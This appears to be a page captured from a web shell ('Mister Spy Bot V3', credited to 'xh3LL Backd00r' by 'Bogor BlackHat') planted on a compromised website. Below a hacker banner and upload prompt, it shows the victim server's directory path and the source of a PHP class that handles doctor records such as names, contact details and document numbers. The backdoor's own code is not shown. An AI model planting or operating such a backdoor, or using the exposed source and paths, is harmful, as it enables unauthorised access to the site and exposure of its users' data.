Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/web/library/
Upload File :
Current File : /home/caballoscriollos/www/web/library/class.medico.php

<?php

require_once('class.db.php');
require_once('class.dbaccess.php');
require_once('class.medicosconsultorios.php');
require_once('class.especialidades.php');

class Medico
{
	public $IdMedico;
	public $Nombre;
	public $Apellido;
	public $NombreCompleto;
	public $IdEspecialidad;
	public $Especialidad;
	public $NumeroMatricula;
	public $Consultorios;
	public $Email;
	public $Telefono;
	public $Direccion;
	public $DireccionNumero;
	public $IdPais;
	public $IdProvincia;
	public $Localidad;
	public $NumeroDocumento;
	public $Titulo;
	public $Restringido;
	public $IdTipoSocio;
	public $Filial;
	public $IdEstado;
	public $Pediatra;

	public function __construct()
	{
		$this->Grupos = array();
		$this->Consultorios = array();
	}


	public function ParseFromArray(array $arr)
	{
		$this->IdMedico					= $arr['IdMedico'];
		$this->Nombre					= strtoupper(stripslashes($arr['Nombre']));
		$this->Apellido					= strtoupper(stripslashes($arr['Apellido']));
		$this->IdEspecialidad			= $arr['IdEspecialidad'];
		$this->NumeroMatricula			= stripslashes($arr['NumeroMatricula']);
		$this->Consultorios				= $this->GetAllConsultorios();
		$this->Especialidad				= $this->GetEspecialidad();
		$this->NombreCompleto			= $this->GetMedico();
		$this->Email					= $arr['Email'];
		$this->Telefono					= $arr['Telefono'];
		$this->Direccion				= $arr['Direccion'];
		$this->DireccionNumero			= $arr['DireccionNumero'];
		$this->IdPais					= $arr['IdPais'];
		$this->IdProvincia				= $arr['IdProvincia'];
		$this->Localidad				= $arr['Localidad'];
		$this->NumeroDocumento			= $arr['NumeroDocumento'];
		$this->Titulo					= $arr['Titulo'];
		$this->Restringido				= $arr['Restringido'];
		$this->IdTipoSocio 				= $arr['IdTipoSocio'];
		$this->Filial					= $arr['Filial'];
		$this->IdEstado					= $arr['IdEstado'];
		$this->Pediatra					= $arr['Pediatra'];
	}

	
	public function GetMedico()
	{
		return $this->Apellido . ', ' . $this->Nombre;
	}
	
	
	public function GetAllConsultorios()
	{
		$MedicosConsultorios = new MedicosConsultorios();
		
		return $MedicosConsultorios->GetAll(array('IdMedico' => $this->IdMedico));
	}
	
	public function GetEspecialidad()
	{
		if ($this->IdEspecialidad)
		{
			$Especialidades = new Especialidades();
			return $Especialidades->GetById($this->IdEspecialidad);
		}
		else
			return null;
	}
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat